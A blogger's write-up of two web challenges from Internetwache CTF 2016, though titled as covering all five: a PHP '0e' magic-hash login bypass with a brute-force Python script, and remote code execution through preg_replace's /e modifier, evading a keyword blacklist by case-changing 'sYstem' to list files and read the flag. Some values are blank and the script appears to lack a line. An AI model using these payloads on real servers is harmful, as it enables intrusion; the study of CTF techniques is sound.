[write-up] Internetwache CTF 2016 - All 5 web challenges

The Internetwache CTF 2016 was organized by the fine folks of www.internetwache.org and took place from Feb 20 till Feb 21 2016. It was a jeopardy style CTF with 30 challenges from the categorys "Misc", "Web", "Reverse Engineering", "Cryptography", "Coding" and "Exploitation". Unfortunately I had to study for an exam but I managed to sneak in a couple of hours of play time which were great fun.

The Web 50 Challenge - Mess of Hash

Description: Students have developed a new admin login technique. I doubt that it's secure, but the hash isn't crackable. I don't know where the problem is...

  Attachment: web50.zip

  Service: https://mess-of-hash.ctf.internetwache.org/

The attached file contained part of a php file:
All info I have is this:


$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {
  return preg_replace("/[^0-9a-f]/","",$hash);

function myhash($str) {
  return clean_hash(md5(md5($str) . "SALT"));


We can see the username and the suspected password hash of the admin user.
We can also see a password validation function "myhash" that executes the md5 hash algorithm twice. At first for the password and then for the md5 hash of the password concatenated with the static string "SALT".

The goal was to login into the web application as the admin user. So if the developer didn't make any mistakes we would have had to somehow find the password that (if taken as the input for the myhash function) produces the md5 hash "0e408306536730731920197920342119".
As you might know the "problem" with hash functions is that this is not a trivial task as they are not reversible.

The good thing about this task however is that we do not have to match the hash exactly. It is sufficient to find a password that produces a myhash that starts with "0e" and has all digits after that.
That is because of the unintuitive fact that php evaluates strings like
"0e408306536730731920197920342119" as float numbers.
In fact it interprets above string as the number 0 to the power of 408306536730731920197920342119 which is still zero.
If you then compare
"0e408306536730731920197920342119" to eg. "0e111111111111111111111111111111"
php will instead of the strings compare
0 to 0
which evaluates to

That means if we can find a password that produces a myhash like the one above we can login with that password and will gain access to the web application.

I wrote a short python script that automated that task for me by trying to use the numbers from 0..100000000 one after the other as the input for my replication of the myhash function.
The script stopped at:
for which the myhash is

I used that to login at the website and retrieve the flag:

This is the script I used:

import hashlib

def find_zero_md5md5():
  for i in xrange(0,99999999):
    t = str(i)
    ct = t
    ha = hashlib.md5()
    md5 = ha.hexdigest()
    ha = hashlib.md5()
    ha.update(md5+ "SALT")
    md52 = ha.hexdigest()
    if md52.startswith('0e') and md52[2:].isdigit():
      return ct,md5,md52
    if ((i % 1000000) == 0):
      print i
  return ""

a,b,c = find_zero_md5md5()
print a,b,c

The Web 60 Challenge - Replace with Grace

Upon visiting the now defunct website https://replace-with-grace.ctf.internetwache.org/ we were greeted with an interface that allowed us to input three parameters.
The fields were prefilled with:
cows are awesome

The headline above read "Search & Replace".
And upon submitting the form we were presented the sentence:
cats are awesome.
That is the server internally used the PHP preg_replace function to replace all occurences of the value specified in the first field with the value of the second field in the string that was written in the third field.

Visiting the documentation for the preg_replace function we can see an interesting fact.
We can use PCRE Modifiers.

Replace with PCRE Modifiers

These are modifiers that influence the behaviour of the replace funtion. One looked especially promising:
When a user uses a regular expression like /./e
the preg_replace function would just execute the second parameter as if it was valid php code.

Since we were able to influence the first parameter as a whole we could now just insert a trailing "e" and basically execute any php code that we wanted.

I decided to use the PHP "system" function so I could execute normal shellcode without bothering with any of the php stuff.
system("ls -la")

That however returned:
Blacklisted keywords..

I circumvented the keyword check by altering the case of any letter of my payload. Thus the following worked:
sYstem("ls -la")

and returned:
drwxr-x--- 3 root web60 4096 Feb 20 12:13 .
drwxr-xr-x 8 root root 4096 Feb 11 02:03 ..
-rw-r--r-- 1 root web60 331 Feb 12 01:50 ajax.php
drwxr-xr-x 4 root web60 4096 Feb 11 02:41 assets
-rw-r--r-- 1 root web60 42 Feb 12 01:50 flag.php
-rw-r--r-- 1 root web60 2519 Feb 12 01:50 index.php
-rw-r--r-- 1 root web60 2519 Feb 12 01:50 index.php

The "flag.php" file looks promising and after reading that with:

sYstem("cat flag.php")

We got the flag:
$FLAG = "IW{R3Pl4c3_N0t_S4F3}";

Other write-ups are following
Denis Werner